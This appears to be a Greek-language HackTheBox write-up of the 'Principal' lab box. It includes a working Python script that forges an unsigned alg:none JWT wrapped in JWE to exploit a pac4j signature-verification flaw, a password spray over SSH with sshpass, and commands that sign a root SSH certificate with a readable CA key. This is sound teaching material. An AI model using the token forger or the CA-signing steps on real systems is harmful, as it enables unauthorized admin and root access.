Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Principal

HackTheBoxΤο προφίλ μου στο HTB & περισσότερα boxes ↗ GitHubΕργαλεία security & automation ανοιχτού κώδικα ↗

Το Principal είναι ένα box Linux που βάζει μπροστά σου μία μοναδική, τακτοποιημένη web εφαρμογή και θέτει ένα ακριβές ερώτημα: πώς επαληθεύει την εμπιστοσύνη. Η εφαρμογή είναι μια υπηρεσία Java χτισμένη πάνω στο framework ασφαλείας pac4j, και το token της συνεδρίας είναι ένα JWE — ένα κρυπτογραφημένο JWT. Αυτή η κρυπτογράφηση είναι πραγματική, και είναι παγίδα: κάνει το token αδιαφανές και μοιάζει με ασφάλεια, αλλά ο server ελέγχει μόνο ότι το token κρυπτογραφήθηκε προς το δημόσιο κλειδί του. Δεν ελέγχει ποτέ ότι το JWT μέσα ήταν όντως υπογεγραμμένο. Το CVE-2026-29000 είναι ακριβώς αυτή η σύγχυση. Επειδή το κλειδί κρυπτογράφησης είναι δημόσιο — δημοσιεύεται κυριολεκτικά σε ένα endpoint JWKS ώστε οι clients να μπορούν να επαληθεύουν tokens — οποιοσδήποτε μπορεί να φτιάξει ένα ανυπόγραφο JWT alg:none που δηλώνει ROLE_ADMIN, να το κρυπτογραφήσει μόνος του, και να το επιστρέψει ως έγκυρη συνεδρία admin. Από το admin dashboard, ένα endpoint API διαρρέει έναν κωδικό SSH σε καθαρό κείμενο· από εκείνον τον χρήστη, η συμμετοχή σε ένα group deployers κάνει αναγνώσιμο το ιδιωτικό κλειδί της αρχής πιστοποίησης SSH (CA) της πλατφόρμας — και ένα ιδιωτικό κλειδί CA που εμπιστεύεται ο sshd είναι ένα μηχάνημα που θα εγγυηθεί για οποιαδήποτε ταυτότητα του ζητήσεις, μαζί και τον root.
χωρίς αυθεντικοποίηση → pac4j JWE sig-confusion (CVE-2026-29000) → πλαστό token ROLE_ADMIN → admin API διαρρέει κωδικό SSH → svc-deploy SSH → ανάγνωση του trusted SSH CA → υπογραφή πιστοποιητικού root → root

Αναγνώριση

Δύο θύρες: SSH στην 22 και μια web εφαρμογή στην 8080. Ο web server είναι ο Jetty, και διαφημίζει το ακριβώς σημαντικό πράγμα κατευθείαν από ένα header απόκρισης — το framework αυθεντικοποίησης και την έκδοσή του:

το header που κατονομάζει τον στόχο
$ curl -sI http://<target>:8080/ HTTP/1.1 302 Found Server: Jetty X-Powered-By: pac4j-jwt/6.0.3 Location: /login

Το pac4j-jwt 6.0.3 είναι μια συγκεκριμένη, τρέχουσα και ευάλωτη έκδοση. Η σελίδα login φορτώνει ένα μόνο script, το /static/js/app.js, και εκείνο το αρχείο είναι ασυνήθιστα γενναιόδωρο — τεκμηριώνει ολόκληρο τον σχεδιασμό του token σε ένα σχόλιο-κεφαλίδα, προφανώς επειδή οι ίδιες σταθερές του schema πρέπει να ταιριάζουν με τον server:

app.js — ο σχεδιασμός του token, στο πιάτο
* Token handling: * - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM * - Public key available at /api/auth/jwks for token verification * - Inner JWT is signed with RS256 * * JWT claims schema: * sub - username * role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER * iss - "principal-platform" * iat - issued at (epoch) * exp - expiration (epoch) // το token αποθηκεύεται στο sessionStorage και στέλνεται ως Bearer header· // τα /api/users και /api/settings περιορίζονται σε ROLE_ADMIN στην πλευρά του client

Άρα το token είναι ένα αντικείμενο δύο επιπέδων: ένα εσωτερικό JWT (claims + μια υπογραφή RS256) τυλιγμένο μέσα σε έναν φάκελο JWE (RSA-OAEP-256 key wrapping, A128GCM content encryption). Το δημόσιο κλειδί που χρειάζεται και για την «επαλήθευση» του token και — κρίσιμα — για την κρυπτογράφηση ενός νέου, σερβίρεται, χωρίς αυθεντικοποίηση, στο /api/auth/jwks:

/api/auth/jwks — το δημόσιο κλειδί κρυπτογράφησης
$ curl -s http://<target>:8080/api/auth/jwks {"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61i…"}]}

Foothold — η κρυπτογράφηση δεν είναι αυθεντικοποίηση (CVE-2026-29000)

Ιδού το ελάττωμα, ξεκάθαρα. Ένα JWE αποδεικνύει ένα πράγμα: ότι όποιος έφτιαξε το token είχε το δημόσιο κλειδί του παραλήπτη. Αυτό δεν είναι μυστικό — είναι δημοσιευμένο. Η κρυπτογράφηση ενός JWT σου δίνει εμπιστευτικότητα (κανείς δεν διαβάζει τα claims εν κινήσει), αλλά δεν λέει τίποτα για το ποιος εξέδωσε τα claims. Η αυθεντικότητα είναι δουλειά της υπογραφής του εσωτερικού JWT, η οποία πρέπει να επαληθεύεται με το κλειδί του εκδότη.

Το CVE-2026-29000 είναι το ότι ο authenticator JWE του pac4j, σε αυτή τη διαμόρφωση, αποκρυπτογραφεί τον εξωτερικό φάκελο και μετά εμπιστεύεται τα claims του εσωτερικού JWT χωρίς να επαληθεύσει την υπογραφή του. Αυτό καταρρέει ολόκληρο τον σχεδιασμό: αφού το κλειδί κρυπτογράφησης είναι δημόσιο, ένας επιτιθέμενος μπορεί να κατασκευάσει το δικό του token από άκρη σε άκρη. Φτιάχνεις ένα εσωτερικό JWT με "alg":"none" και άδεια υπογραφή, θέτεις το role σε ROLE_ADMIN, και μετά το κρυπτογραφείς προς το ίδιο το κλειδί JWKS του server. Ο server το αποκρυπτογραφεί, βλέπει ένα καλοσχηματισμένο JWT που μπορεί να διαβάσει, και ποτέ δεν ρωτά αν ήταν υπογεγραμμένο.

Συγκεκριμένα, με τους όρους του ίδιου του pac4j: ο JwtAuthenticator υποστηρίζει nested tokens — ένα εσωτερικό, RS256-υπογεγραμμένο JWT τυλιγμένο μέσα σε ένα εξωτερικό JWE — και δέχεται ένα EncryptionConfiguration και ένα SignatureConfiguration ως ανεξάρτητες επιλογές. Το Principal ρύθμισε την κρυπτογράφηση αλλά ποτέ δεν επέβαλε την υπογραφή, οπότε μόλις αποκρυπτογραφηθεί το εξωτερικό JWE, ένα εσωτερικό PlainJWT (ένα ανυπόγραφο token) γίνεται δεκτό ως επικυρωμένο. Το kid στο JWKS είναι μάλιστα ονομασμένο enc-key-1 — ο server δημοσιεύει το κλειδί κρυπτογράφησής του εκεί που ένας verifier θα δημοσίευε κανονικά ένα κλειδί υπογραφής, που είναι όλο το tell σε ένα string.

φάκελος JWE · RSA-OAEP-256 (key wrap) + A128GCM (encrypt) ο server ελέγχει αυτό ✓ εσωτερικό JWT — αυτό που όντως εμπιστεύεται ο server header alg: none payload role: ROLE_ADMIN signature ✗ ποτέ δεν επαληθεύεται
Ο server επικυρώνει την εξωτερική κρυπτογράφηση και σταματά εκεί. Η εσωτερική υπογραφή — το μόνο πράγμα που αποδεικνύει ποιος εξέδωσε τα claims — δεν ελέγχεται ποτέ, οπότε ένας επιτιθέμενος που κατέχει το δημόσιο κλειδί κατέχει το token.
forge.py — ανυπόγραφο εσωτερικό JWT, τυλιγμένο σε JWE προς το δημόσιο κλειδί
$ cat forge.py import json, time, base64, urllib.request from jwcrypto import jwk, jwe T = "http://<target>:8080" b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode() # 1. τράβα το δημόσιο κλειδί κρυπτογράφησης κατευθείαν από το JWKS jwks = json.load(urllib.request.urlopen(T + "/api/auth/jwks")) key = jwk.JWK(**jwks["keys"][0]) # 2. φτιάξε ένα ΑΝΥΠΟΓΡΑΦΟ εσωτερικό JWT (alg:none, άδεια υπογραφή) now = int(time.time()) hdr = {"alg": "none", "typ": "JWT"} pl = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform", "iat": now, "exp": now + 3600} inner = b64u(json.dumps(hdr).encode()) + "." + b64u(json.dumps(pl).encode()) + "." # 3. τύλιξέ το σε JWE προς το κλειδί του ίδιου του server — RSA-OAEP-256 + A128GCM prot = {"alg": "RSA-OAEP-256", "enc": "A128GCM", "kid": "enc-key-1"} tok = jwe.JWE(inner.encode(), recipient=key, protected=json.dumps(prot)) print(tok.serialize(compact=True))
Γιατί δουλεύει εδώ το alg:none: ο server δεν εκτελεί ποτέ τον έλεγχο υπογραφής, οπότε δεν έχει σημασία τι δηλώνει το εσωτερικό header. Το none είναι απλώς η ελάχιστη προσπάθεια — χωρίς κλειδί, χωρίς βήμα υπογραφής — και περνάει άθικτο επειδή η επαλήθευση που θα το απέρριπτε παραλείφθηκε τελείως. Το δημόσιο κλειδί κάνει όλη τη βαριά δουλειά στην πλευρά της κρυπτογράφησης, που είναι η μόνη πλευρά που ο server πραγματικά επικυρώνει.

Παρουσίασε το πλαστό token ως bearer credential και το admin API ανοίγει. Το /api/dashboard επιβεβαιώνει την ταυτότητα που ο server συμπέρανε από το token μας — admin / ROLE_ADMIN — και το /api/settings είναι εκεί που το box παραδίδει το επόμενο βήμα:

πλαστό admin token → το admin API
$ TOKEN=$(python3 forge.py) $ curl -s -H "Authorization: Bearer $TOKEN" http://<target>:8080/api/dashboard | jq .user { "username": "admin", "role": "ROLE_ADMIN" } $ curl -s -H "Authorization: Bearer $TOKEN" http://<target>:8080/api/settings | jq .security { "authFramework": "pac4j-jwt", "authFrameworkVersion": "6.0.3", "jwtAlgorithm": "RS256", "jweAlgorithm": "RSA-OAEP-256", "jweEncryption": "A128GCM", "encryptionKey": "<λογοκριμένο — ένα μυστικό deploy σε καθαρό κείμενο>", "tokenExpiry": "3600s" }
Η διαρροή: ένα endpoint ρυθμίσεων μόνο-για-admin επιστρέφει ένα ζωντανό μυστικό σε καθαρό κείμενο, με ετικέτα encryptionKey. Η τιμή διαβάζεται σαν passphrase ανάπτυξης — και η ίδια απόκριση του /api/settings διαφημίζει ότι η υποδομή χρησιμοποιεί αυθεντικοποίηση με πιστοποιητικά SSH με μια CA κάτω από το /opt/principal/ssh/, ενώ το /api/users εμφανίζει έναν λογαριασμό υπηρεσίας svc-deploy «για αυτοματοποιημένες αναπτύξεις μέσω SSH certificate auth». Δύο μισά της ίδιας υπόδειξης.

Χρήστης — ένας διαρρέων κωδικός, επαναχρησιμοποιημένος για SSH

Το μυστικό που διέρρευσε δεν σχετίζεται καθόλου με την κρυπτογραφία· επαναχρησιμοποιείται ως κωδικός SSH. Δοκιμασμένο (spray) στα usernames που μας έδωσε ήδη η λίστα του /api/users, πετυχαίνει στον λογαριασμό υπηρεσίας ανάπτυξης:

user.txt
$ sshpass -p '<μυστικό που διέρρευσε>' ssh svc-deploy@<target> 'id; cat user.txt' uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers) [λογοκριμένο — user flag]

Πρόσεξε το δεύτερο group: deployers. Δεν είναι διακοσμητικό — είναι ολόκληρο το μονοπάτι κλιμάκωσης προνομίων.

Root — ένα ιδιωτικό κλειδί CA που επιτρέπεται να διαβάσεις

Το endpoint ρυθμίσεων έδειξε προς το /opt/principal/ssh/, και το ίδιο του το README εξηγεί τι ζει εκεί: μια RSA αρχή πιστοποίησης (CA) που ο sshd εμπιστεύεται για logins βασισμένα σε πιστοποιητικά. Ο φάκελος ανήκει στο root:deployers και είναι αναγνώσιμος από το group — και ο svc-deploy ανήκει στο deployers:

η CA, αναγνώσιμη μέσω του group deployers
svc-deploy@principal:~$ ls -l /opt/principal/ssh/ -rw-r----- 1 root deployers 288 README.txt -rw-r----- 1 root deployers 3381 ca # ιδιωτικό κλειδί CA — αναγνώσιμο από το group -rw-r--r-- 1 root deployers 742 ca.pub svc-deploy@principal:~$ grep -ri trustedusercakeys /etc/ssh/ /etc/ssh/sshd_config.d/60-principal.conf:TrustedUserCAKeys /opt/principal/ssh/ca.pub

Αυτή η μία οδηγία του sshd είναι το παν. Το TrustedUserCAKeys λέει στον daemon να δέχεται οποιοδήποτε πιστοποιητικό χρήστη υπογεγραμμένο από εκείνη τη CA — το πιστοποιητικό είναι η εξουσιοδότηση. Άρα ένα ιδιωτικό κλειδί CA που μπορείς να διαβάσεις δεν είναι «ένα κλειδί στο μηχάνημα»· είναι η εξουσία να εκδώσεις στον εαυτό σου μια έγκυρη ταυτότητα για οποιονδήποτε λογαριασμό, μαζί και τον root. Δεν υπάρχει exploit να γραφτεί. Απλώς χρησιμοποιείς τη CA όπως χτίστηκε για να χρησιμοποιείται, αλλά για ένα principal που ποτέ δεν προοριζόταν να υπογράψει.

υπόγραψε πιστοποιητικό root, μπες ως root
$ # τράβα κάτω το ιδιωτικό κλειδί CA (αναγνώσιμο ως svc-deploy), υπόγραψε το δικό μας κλειδί για root $ ssh-keygen -t ed25519 -N '' -f rootkey $ ssh-keygen -s ca -I pwn-root -n root -V +2h rootkey.pub Signed user key rootkey-cert.pub: id "pwn-root" serial 0 for root valid ... $ ssh -i rootkey -o CertificateFile=rootkey-cert.pub root@<target> 'id; cat /root/root.txt' uid=0(root) gid=0(root) groups=0(root) [λογοκριμένο — root flag]
Η λεπτομέρεια του -n root: αυτός ο sshd δεν θέτει AuthorizedPrincipalsFile, οπότε ισχύει ο προεπιλεγμένος κανόνας — η λίστα principals του πιστοποιητικού πρέπει να περιέχει το username εισόδου. Υπόγραψε με -n root ώστε το πιστοποιητικό να είναι έγκυρο για τον λογαριασμό root· παρέλειψέ το και η είσοδος απορρίπτεται παρότι η ίδια η υπογραφή της CA είναι απολύτως έγκυρη. Είναι η διαφορά ανάμεσα σε ένα σωστά-υπογεγραμμένο πιστοποιητικό και σε ένα πιστοποιητικό σωστά-υπογεγραμμένο για τον λογαριασμό που χρησιμοποιείς.

Όλη η αλυσίδα, σε μία οθόνη

σύνοψη
# 1. το header κατονομάζει τον στόχο: X-Powered-By: pac4j-jwt/6.0.3 ; το κλειδί JWKS είναι δημόσιο curl -s http://<target>:8080/api/auth/jwks # 2. CVE-2026-29000: το JWE αποκρυπτογραφείται αλλά η εσωτερική υπογραφή δεν επαληθεύεται ποτέ # φτιάξε alg:none JWT{role:ROLE_ADMIN}, κρυπτογράφησέ το προς το δημόσιο κλειδί, στείλ' το ως Bearer python3 forge.py # -> RSA-OAEP-256 + A128GCM JWE # 3. το admin /api/settings διαρρέει μυστικό σε καθαρό κείμενο -> επαναχρήση ως κωδικός SSH sshpass -p '<leaked>' ssh svc-deploy@<target> # user.txt ; group: deployers # 4. το group deployers μπορεί να διαβάσει το ιδιωτικό κλειδί CA του TrustedUserCAKeys ssh-keygen -s ca -I x -n root -V +2h rootkey.pub ssh -i rootkey -o CertificateFile=rootkey-cert.pub root@<target> # root.txt

Η διόρθωση

Κάθε κρίκος της αλυσίδας έχει μια συγκεκριμένη διόρθωση μιας γραμμής — και είναι ανεξάρτητοι, οπότε άμυνα σε βάθος σημαίνει να διορθώσεις όλους, όχι μόνο το CVE:

Μαθήματα

HackTheBoxΤο προφίλ μου στο HTB & περισσότερα boxes ↗ GitHubΕργαλεία security & automation ανοιχτού κώδικα ↗